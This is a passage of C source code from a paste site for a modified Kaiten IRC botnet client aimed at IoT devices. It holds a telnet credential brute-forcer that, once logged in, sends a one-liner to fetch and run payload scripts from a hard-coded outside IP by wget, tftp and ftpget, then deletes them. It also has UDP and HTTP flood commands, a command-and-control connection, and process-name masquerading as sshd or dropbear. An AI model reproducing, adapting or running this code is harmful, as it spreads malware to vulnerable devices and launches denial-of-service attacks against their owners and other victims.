  698.                         case 1:
  699.                                 {
  700.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  701.  
  702.                                         FD_ZERO(&myset);
  703.                                         FD_SET(fds[i].fd, &myset);
  704.                                         tv.tv_sec = 0;
  705.                                         tv.tv_usec = 10000;
  706.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  707.                                         if(res == 1)
  708.                                         {
  709.                                                 lon = sizeof(int);
  710.                                                 valopt = 0;
  711.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  712.                                                 if(valopt)
  713.                                                 {
  714.                                                         sclose(fds[i].fd);
  715.                                                         fds[i].state = 0;
  716.                                                         fds[i].complete = 1;
  717.                                                 } else {
  718.                                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  719.                                                         fds[i].totalTimeout = 0;
  720.                                                         fds[i].bufUsed = 0;
  721.                                                         memset(fds[i].sockbuf, 0, 1024);
  722.                                                         fds[i].state = 2;
  723.                                                         continue;
  724.                                                 }
  725.                                         } else if(res == -1)
  726.                                         {
  727.                                                 sclose(fds[i].fd);
  728.                                                 fds[i].state = 0;
  729.                                                 fds[i].complete = 1;
  730.                                         }
  731.  
  732.                                         if(fds[i].totalTimeout + 5 < time(NULL)) //was if(fds[i].totalTimeout + 5 < time(NULL))
  733.                                         {
  734.                                                 sclose(fds[i].fd);
  735.                                                 fds[i].state = 0;
  736.                                                 fds[i].complete = 1;
  737.                                         }
  738.                                 }
  739.                                 break;
  740.  
  741.                         case 2:
  742.                                 {
  743.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  744.                     if(matchPrompt(fds[i].sockbuf)) {
  745.                                     fds[i].state = 7;
  746.                                 }
  747.  
  748.                                         if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  749.                                         {
  750.                                                 fds[i].totalTimeout = 0;
  751.                                                 fds[i].bufUsed = 0;
  752.                                                 memset(fds[i].sockbuf, 0, 1024);
  753.                                                 fds[i].state = 3;
  754.                                                 continue;
  755.                                         } else {
  756.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  757.                                         }
  758.  
  759.                                         if(fds[i].totalTimeout + 30 < time(NULL))
  760.                                         {
  761.                                                 sclose(fds[i].fd);
  762.                                                 fds[i].state = 0;
  763.                                                 fds[i].complete = 1;
  764.                                         }
  765.                                 }
  766.                                 break;
  767.  
  768.                         case 3:
  769.                                 {
  770.                                         if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  771.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  772.                                         fds[i].state = 4;
  773.                                 }
  774.                                 break;
  775.  
  776.                         case 4:
  777.                                 {
  778.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  779.  
  780.                                         if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  781.                                         {
  782.                                                 fds[i].totalTimeout = 0;
  783.                                                 fds[i].bufUsed = 0;
  784.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  785.                                                 else fds[i].state = 7;
  786.                                                 memset(fds[i].sockbuf, 0, 1024);
  787.                                                 continue;
  788.                                         } else {
  789.                                                 if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  790.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  791.                                         }
  792.  
  793.                                         if(fds[i].totalTimeout + 8 < time(NULL)) //was if(fds[i].totalTimeout + 8 < time(NULL))
  794.                                         {
  795.                                                 sclose(fds[i].fd);
  796.                                                 fds[i].state = 0;
  797.                                                 fds[i].complete = 1;
  798.                                         }
  799.                                 }
  800.                                 break;
  801.  
  802.                         case 5:
  803.                                 {
  804.                                         if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  805.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  806.                                         fds[i].state = 6;
  807.                                 }
  808.                                 break;
  809.  
  810.                         case 6:
  811.                                 {
  812.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  813.  
  814.                                         if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  815.                                         {
  816.                                                 fds[i].totalTimeout = 0;
  817.                                                 fds[i].bufUsed = 0;
  818.                                                 if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  819.                                                 if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  820.                                                 else fds[i].state = 7;
  821.                                                 memset(fds[i].sockbuf, 0, 1024);
  822.                                                 continue;
  823.                                         } else {
  824.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  825.                                         }
  826.  
  827.                                         if(fds[i].totalTimeout + 30 < time(NULL))
  828.                                         {
  829.                                                 sclose(fds[i].fd);
  830.                                                 fds[i].state = 0;
  831.                                                 fds[i].complete = 1;
  832.                                         }
  833.                                 }
  834.                                 break;
  835.  
  836.             case 7:
  837.                 {
  838.                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  839.                     fds[i].state = 8;
  840.                 }
  841.                 break;
  842.            
  843.             case 8:
  844.                 {
  845.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  846.                    
  847.                     if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://192.198.122.154/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 192.198.122.154 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 192.198.122.154; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 192.198.122.154 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 395, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
  848.                    
  849.                     if(fds[i].totalTimeout + 45 < time(NULL))
  850.                     {
  851.                         sclose(fds[i].fd);
  852.                         fds[i].state = 0;
  853.                         fds[i].complete = 1;
  854.                     }
  855.                 }
  856.                 break;
  857.             }
  858.         }
  859.     }
  860. }
  861.  
  862. void unknown(int sock, char *sender, int argc, char **argv) {
  863.     int flag=1,fd,i;
  864.     unsigned long secs;
  865.     char *buf=(char*)malloc(9216);
  866.     struct hostent *hp;
  867.     struct sockaddr_in in;
  868.    
  869.     time_t start=time(NULL);
  870.    
  871.     if (mfork(sender) != 0) return;
  872.    
  873.     if (argc != 2) {
  874.         Send(sock,"PRIVMSG %s :>bot +unknown <target> <port> <secs>\n",chan);
  875.         exit(0);
  876.     }
  877.    
  878.     secs=atol(argv[3]);
  879.    
  880.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  881.    
  882.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  883.     in.sin_family = AF_INET;
  884.    
  885.     Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]);
  886.    
  887.     while(1) {
  888.        
  889.         in.sin_port = atol(argv[2]);
  890.        
  891.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
  892.         } else {
  893.             flag=1;
  894.             ioctl(fd,FIONBIO,&flag);
  895.             sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  896.             close(fd);
  897.         }
  898.        
  899.         if (i >= 50) {
  900.             if (time(NULL) >= start+secs) break;
  901.                 i=0;
  902.         }
  903.         i++;
  904.     }
  905.     Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]);
  906.     close(fd);
  907.     exit(0);
  908. }
  909.  
  910. //Kill the bot
  911. void killsec(int sock, char *sender, int argc, char **argv) {
  912.    
  913.     if(strcasecmp(adminuser1,sender) == 0){
  914.    
  915.         kill(0,9);
  916.    
  917.     } else {
  918.    
  919.         Send(sock,"PRIVMSG %s :Nice try...\n", chan);
  920.    
  921.     }
  922. }
  923.  
  924. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  925.     { "+std"                    ,    std     },
  926.     { "+stop"                   ,    stop    },
  927.     { "+unknown"                ,   unknown  },
  928.     { "+scanner"                ,   StartTheLelz  },
  929.     { "+http"               ,   sendhttp  },
  930.     { "GikbsyigbIGY"        ,   killsec  },
  931.     { (char *)0, (void (*)(int,char *,int,char **))0 } };
  932.    
  933. void _PRIVMSG(int sock, char *sender, char *str) {
  934.         int i;
  935.         char *to, *message;
  936.        
  937.         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  938.         str[i]=0;
  939.         to=str;
  940.         message=str+i+2;
  941.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  942.         sender[i]=0;
  943.         if (*message == '>' && !strcasecmp(to,chan)) {
  944.                 char *params[12], name[1024]={0};
  945.                 int num_params=0, m;
  946.                 message++;
  947.                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
  948.                 message[i]=0;
  949.                 if (strwildmatch(message,nick)) return;
  950.                 message+=i+1;
  951.                 m=strlen(message);
  952.                 for (i=0;i<m;i++) {
  953.                         if (*message == ' ' || *message == 0) break;
  954.                         name[i]=*message;
  955.                         message++;
  956.                 }
  957.                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  958.                 num_params++;
  959.                 if (num_params > 10) num_params=10;
  960.                 params[0]=name;
  961.                 params[num_params+1]="\0";
  962.                 m=1;
  963.                 while (*message != 0) {
  964.                         message++;
  965.                         if (m >= num_params) break;
  966.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  967.                         params[m]=(char*)malloc(i+1);
  968.                         strncpy(params[m],message,i);
  969.                         params[m][i]=0;
  970.                         m++;
  971.                         message+=i;
  972.                 }
  973.                 for (m=0; flooders[m].cmd != (char *)0; m++) {
  974.                         if (!strcasecmp(flooders[m].cmd,name)) {
  975.                                 flooders[m].func(sock,sender,num_params-1,params);
  976.                                 for (i=1;i<num_params;i++) free(params[i]);
  977.                                 return;
  978.                         }
  979.                 }
  980.         }
  981. }
  982. void _376(int sock, char *sender, char *str) {
  983.         Send(sock,"MODE %s +pixB\n",nick);
  984.         Send(sock,"JOIN %s :%s\n",chan,key);
  985.         Send(sock,"WHO %s\n",nick);
  986. }
  987. void _PING(int sock, char *sender, char *str) {
  988.  
  989. Send(sock,"PONG %s\n",str);
  990.  
  991. }
  992.  
  993. void _352(int sock, char *sender, char *str) {
  994.         int i,d;
  995.         char *msg=str;
  996.         struct hostent *hostm;
  997.         unsigned long m;
  998.         for (i=0,d=0;d<5;d++) {
  999.                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  1000.                 if (i == strlen(str)) return;
  1001.         }
  1002.         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  1003.         msg[i]=0;
  1004.         if (!strcasecmp(msg,nick) && !spoofsm) {
  1005.                 msg=str;
  1006.                 for (i=0,d=0;d<3;d++) {
  1007.                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  1008.                         if (i == strlen(str)) return;
  1009.                 }
  1010.                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  1011.                 msg[i]=0;
  1012.                 if ((m = inet_addr(msg)) == -1) {
  1013.                         if ((hostm=gethostbyname(msg)) == NULL) {
  1014.                                 Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  1015.                                 return;
  1016.                         }
  1017.                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  1018.                 }
  1019.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  1020.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  1021.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  1022.                 ((char*)&spoofs)[0]=0;
  1023.                 spoofsm=256;
  1024.         }
  1025. }
  1026. void _433(int sock, char *sender, char *str) {
  1027.         free(nick);
  1028.         char tempnick[50];
  1029.         char *strpref = PREFIX;
  1030.         char *genname = makestring();
  1031.         strcpy(tempnick,strpref);
  1032.         strcat(tempnick,genname);
  1033.         nick=tempnick; 
  1034. }
  1035.  
  1036. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  1037.         {   "352",     _352     },
  1038.         {   "376",     _376     },
  1039.         {   "433",     _433     },
  1040.         {   "422",     _376     },
  1041.         { "PRIVMSG", _PRIVMSG   },
  1042.         {   "PING",    _PING    },
  1043.         { (char *)0, (void (*)(int,char *,char *))0 } };
  1044. void con() {
  1045.         struct sockaddr_in srv;
  1046.         unsigned long ipaddr,start;
  1047.         int flag;
  1048.         struct hostent *hp;
  1049. start:
  1050.     sock=-1;
  1051.     flag=1;
  1052.     if (changeservers == 0) server=servers[rand()%numservers];
  1053.     changeservers=0;
  1054.         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  1055.     if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  1056.         if ((hp = gethostbyname(server)) == NULL) {
  1057.             server=NULL;
  1058.             close(sock);
  1059.             goto start;
  1060.         }
  1061.         bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  1062.     }
  1063.     else srv.sin_addr.s_addr=inet_addr(server);
  1064.         srv.sin_family = AF_INET;
  1065.         srv.sin_port = htons(443);
  1066.     ioctl(sock,FIONBIO,&flag);
  1067.     start=time(NULL);
  1068.     while(time(NULL)-start < 10) {
  1069.         errno=0;
  1070.         if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  1071.                 setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  1072.                 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  1073.                 setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  1074.             return;
  1075.         }
  1076.         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  1077.         sleep(1);
  1078.     }
  1079.     server=NULL;
  1080.     close(sock);
  1081.     goto start;
  1082. }
  1083. int main(int argc, char *argv[]) {
  1084.         int on,i;
  1085.         char cwd[256],*str;
  1086.         FILE *file;
  1087.         if (fork()) exit(0);
  1088.        
  1089.         char *mynameis = "";
  1090.            
  1091.         if(access("/usr/bin/python", F_OK) != -1){
  1092.             mynameis = "sshd";
  1093.         } else {
  1094.             mynameis = "/usr/sbin/dropbear";
  1095.         }
  1096.        
  1097.         strncpy(argv[0],"",strlen(argv[0]));
  1098.         sprintf(argv[0], mynameis);
  1099.         prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  1100.    
  1101.         srand((time(NULL) ^ getpid()) + getppid());
  1102.         char tempnick[50];
  1103.         char *strpref = PREFIX;
  1104.         char *genname = makestring();
  1105.    
  1106.         strcpy(tempnick,strpref);
  1107.         strcat(tempnick,genname);
  1108.        
  1109.         nick=tempnick;
  1110.         ident="Kaiten";
  1111.         user="Modified Kaiten";
  1112.         chan=CHAN;
  1113.         key=KEY;
  1114.         pass=PASS;
  1115.         server=NULL;
  1116. sa:
  1117. #ifdef IDENT
  1118.         for (i=0;i<numpids;i++) {
  1119.                 if (pids[i] != 0 && pids[i] != getpid()) {
  1120.                         kill(pids[i],9);
  1121.             waitpid(pids[i],NULL,WNOHANG);
  1122.                 }
  1123.         }
  1124.     pids=NULL;
  1125.     numpids=0;
  1126.     identd();
  1127. #endif
  1128.  
  1129.     con();
  1130.         Send(sock,"PASS %s\n", pass);
  1131.         Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  1132.         while(1) {
  1133.                 unsigned long i;
  1134.                 fd_set n;
  1135.                 struct timeval tv;
  1136.                 FD_ZERO(&n);
  1137.                 FD_SET(sock,&n);
  1138.                 tv.tv_sec=60*20;
  1139.                 tv.tv_usec=0;
  1140.                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  1141.                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  1142.                         unsigned int *newpids,on;
  1143.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  1144.             pids[on-1]=0;
  1145.                         numpids--;
  1146.                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  1147.                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
  1148.                         free(pids);
  1149.                         pids=newpids;
  1150.                 }
  1151.                 if (FD_ISSET(sock,&n)) {
  1152.                         char buf[4096], *str;
  1153.                         int i;
  1154.                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  1155.                         buf[i]=0;
  1156.                         str=strtok(buf,"\n");
  1157.                         while(str && *str) {
  1158.                                 char name[1024], sender[1024];
  1159.                                 filter(str);
  1160.                                 if (*str == ':') {
  1161.                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1162.                                         str[i]=0;
  1163.                                         strcpy(sender,str+1);
  1164.                                         strcpy(str,str+i+1);
  1165.                                 }
  1166.                                 else strcpy(sender,"*");
  1167.                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1168.                                 str[i]=0;
  1169.                                 strcpy(name,str);
  1170.                                 strcpy(str,str+i+1);
  1171.                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  1172.                                 if (!strcasecmp(name,"ERROR")) goto sa;
  1173.                                 str=strtok((char*)NULL,"\n");
  1174.                         }
  1175.                 }
  1176.         }
  1177.         return 0;
  1178. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement